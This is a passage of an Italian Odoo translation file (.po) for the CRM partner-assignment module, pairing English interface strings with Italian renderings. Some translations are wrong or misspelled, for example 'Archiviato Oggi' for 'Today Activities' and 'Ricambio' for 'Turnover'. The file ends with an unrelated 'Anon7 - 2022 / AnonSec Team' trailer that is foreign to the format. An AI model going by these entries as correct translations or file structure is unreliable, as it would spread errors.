#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Next Activity"
msgstr "Prossima attività"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Next Activity Date"
msgstr "Data prossima attività"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_date_review_next
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_date_review_next
msgid "Next Partner Review"
msgstr "Prossima Revisione Partner"

#. module: website_crm_partner_assign
#: model:crm.lead.tag,name:website_crm_partner_assign.tag_portal_lead_partner_unavailable
msgid "No more partner available"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "No result found"
msgstr "Nessun risultato"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,priority:0
msgid "Normal"
msgstr "Normale"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_report_assign_delay_close
msgid "Number of Days to close the case"
msgstr "Numero di giorni per chiudere il caso"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_report_assign_delay_open
msgid "Number of Days to open the case"
msgstr "Numero di giorni per aprire il caso"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_opening_date
msgid "Opening Date"
msgstr "Data apertura"

#. module: website_crm_partner_assign
#: model:ir.actions.act_window,name:website_crm_partner_assign.action_report_crm_opportunity_assign
#: model:ir.ui.menu,name:website_crm_partner_assign.menu_report_crm_opportunities_assign_tree
msgid "Opp. Assignment Analysis"
msgstr "Analisi assegnamento opportunità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_menu_lead
msgid "Opportunities"
msgstr "Opportunità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_graph
msgid "Opportunities Assignment Analysis"
msgstr "Analisi assegnamento opportunità"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,type:0
msgid "Opportunity"
msgstr "Opportunità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Opportunity -"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.partner
msgid "Our Partners"
msgstr "I Nostri Partner"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:98
#, python-format
msgid "Overdue Activities"
msgstr "Attività scadute"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_delay_expected
msgid "Overpassed Deadline"
msgstr "Scadenza superata"

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_res_partner
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_partner_assigned_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_partner_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.grade_in_detail
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Partner"
msgstr "Partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_partner_assign_form
msgid "Partner Activation"
msgstr "Attivazione partner"

#. module: website_crm_partner_assign
#: model:ir.actions.act_window,name:website_crm_partner_assign.res_partner_activation_act
#: model:ir.ui.menu,name:website_crm_partner_assign.res_partner_activation_config_mi
msgid "Partner Activations"
msgstr "Attivazione partner"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_forward_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_forward_to_partner_assignation_lines
msgid "Partner Assignation"
msgstr "Assegnazione Partner"

#. module: website_crm_partner_assign
#: model:ir.actions.act_window,name:website_crm_partner_assign.res_partner_grade_action
#: model:ir.ui.menu,name:website_crm_partner_assign.menu_res_partner_grade_action
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_partner_grade_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_partner_grade_tree
msgid "Partner Level"
msgstr "Livello partner"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_assignation_partner_location
msgid "Partner Location"
msgstr "Posizione del partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_partner_assign_form
msgid "Partner Review"
msgstr "Revisione partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Partner assigned Analysis"
msgstr "Analisi dei partner assegnati"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_partner_declined_ids
msgid "Partner not interested"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_partner_assigned_id
msgid "Partner this case has been forwarded/assigned to."
msgstr "Il partner di questo caso è stato inoltrato/assegnato a"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Partners"
msgstr "Partner"

#. module: website_crm_partner_assign
#: model:ir.actions.act_window,name:website_crm_partner_assign.action_report_crm_partner_assign
msgid "Partnership Analysis"
msgstr "Analisi partnership"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_date_partnership
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_date_partnership
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_users_date_partnership
msgid "Partnership Date"
msgstr "Data partnership"

#. module: website_crm_partner_assign
#: model:ir.ui.menu,name:website_crm_partner_assign.menu_report_crm_partner_assign_tree
msgid "Partnerships"
msgstr "Partnerships"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Phone"
msgstr "Telefono"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_planned_revenue
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Planned Revenue"
msgstr "Entrate pianificate"

#. module: website_crm_partner_assign
#: model:res.partner.grade,name:website_crm_partner_assign.res_partner_grade_platinium
msgid "Platinum"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_priority
msgid "Priority"
msgstr "Priorità"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Priority:"
msgstr "Piorità:"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:108
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
#, python-format
msgid "Probability"
msgstr "Probabililtà"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_probable_revenue
msgid "Probable Revenue"
msgstr "Entrate probabili"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Rating"
msgstr "Valutazione"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.references_block
msgid "References"
msgstr "Riferimenti"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.footer_custom
#: model:ir.ui.view,arch_db:website_crm_partner_assign.layout
msgid "Resellers"
msgstr "Rivenditori"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_team_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_team_id
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Sales Team"
msgstr "Team di vendita"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_lead_assign_filter
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_report_crm_partner_assign_filter
msgid "Salesperson"
msgstr "Commerciale"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "Search"
msgstr "Ricerca"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_forward_to_partner_form
msgid "Send"
msgstr "Invia"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_lead_geo_assign_form
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_crm_opportunity_geo_assign_form
msgid "Send Email"
msgstr "Invia Email"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.crm_lead_forward_to_partner_form
msgid "Send Mail"
msgstr "Invia email"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_activation_sequence
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_sequence
msgid "Sequence"
msgstr "Sequenza"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/wizard/crm_forward_to_partner.py:72
#, python-format
msgid "Set an email address for the partner %s"
msgstr "Imposta un indirizzo mail per il partner %s"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/wizard/crm_forward_to_partner.py:70
#, python-format
msgid "Set an email address for the partner(s): %s"
msgstr "Imposta un indirizzo mail per il(i) partner: %s"

#. module: website_crm_partner_assign
#: model:res.partner.grade,name:website_crm_partner_assign.res_partner_grade_silver
msgid "Silver"
msgstr "Argento"

#. module: website_crm_partner_assign
#: model:crm.lead.tag,name:website_crm_partner_assign.tag_portal_lead_is_spam
msgid "Spam"
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:109
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
#, python-format
msgid "Stage"
msgstr "Stadio"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "States..."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Street"
msgstr "Indirizzo"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "Street2"
msgstr "Indirizzo 2"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_tag_ids
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Tags"
msgstr "Tag"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/wizard/crm_forward_to_partner.py:60
#, python-format
msgid "The Forward Email Template is not in the database"
msgstr "Il modello dell'inoltro delle mail è mancante nel database"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_lead
msgid "There are currently no leads for your account."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_lead
msgid "There are currently no opportunities for your account."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_leads
msgid "There are no leads."
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
msgid "There are no opportunities."
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:96
#, python-format
msgid "This Week Activities"
msgstr "Attività settimanali"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "This lead is a spam"
msgstr ""

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:95
#, python-format
msgid "Today Activities"
msgstr "Archiviato Oggi"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_turnover
msgid "Turnover"
msgstr "Ricambio"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_type
msgid "Type"
msgstr "Tipo"

#. module: website_crm_partner_assign
#: model:ir.model.fields,help:website_crm_partner_assign.field_crm_lead_report_assign_type
msgid "Type is used to separate Leads and Opportunities"
msgstr "Il tipo è utilizzato per distinguere i Lead dalle Opportunità"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_lead_report_assign_user_id
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_crm_partner_report_assign_user_id
msgid "User"
msgstr "Utente"

#. module: website_crm_partner_assign
#: selection:crm.lead.report.assign,priority:0
msgid "Very High"
msgstr "Molto alta"

#. module: website_crm_partner_assign
#: model:ir.model.fields,field_description:website_crm_partner_assign.field_res_partner_grade_website_published
msgid "Visible in Website"
msgstr "Visibile sul sito web"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "What is the next action? When? What is the expected revenue?"
msgstr "Qual è la prossima azione? Quando? Qual è il guadagno aspettato?"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
msgid "Why aren't you interested by this lead?"
msgstr "Perchè non sei interessato a questo lead?"

#. module: website_crm_partner_assign
#: code:addons/website_crm_partner_assign/controllers/main.py:99
#, python-format
msgid "Won"
msgstr "Vinto"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.ref_country
msgid "World Map"
msgstr "Mappa del mondo"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "YYYY-MM-DD"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_leads
msgid "Your Leads"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_home_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
msgid "Your Opportunities"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "ZIP"
msgstr "CAP"

#. module: website_crm_partner_assign
#: selection:crm.lead.forward.to.partner,forward_type:0
msgid "a single partner: manual selection of partner"
msgstr "un partner singolo: selezione manuale del partner"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunities
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "at"
msgstr "di"

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_crm_lead_assignation
msgid "crm.lead.assignation"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_crm_lead_forward_to_partner
msgid "crm.lead.forward.to.partner"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.view_partner_grade_form
msgid "e.g. Gold Partner"
msgstr "e.s. Partner Oro"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "on"
msgstr "il"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_lead
#: model:ir.ui.view,arch_db:website_crm_partner_assign.portal_my_opportunity
msgid "or"
msgstr "o"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "pull-left"
msgstr "pull-left"

#. module: website_crm_partner_assign
#: model:ir.ui.view,arch_db:website_crm_partner_assign.index
msgid "reference(s)"
msgstr ""

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_res_partner_activation
msgid "res.partner.activation"
msgstr "res.partner.activation"

#. module: website_crm_partner_assign
#: model:ir.model,name:website_crm_partner_assign.model_res_partner_grade
msgid "res.partner.grade"
msgstr "res.partner.grade"

#. module: website_crm_partner_assign
#: selection:crm.lead.forward.to.partner,forward_type:0
msgid ""
"several partners: automatic assignation, using GPS coordinates and partner's"
" grades"
msgstr ""
"partner molteplici: assegnazione automatica, usando le coordinate GPS e i "
"loro gradi"

Anon7 - 2022
AnonSec Team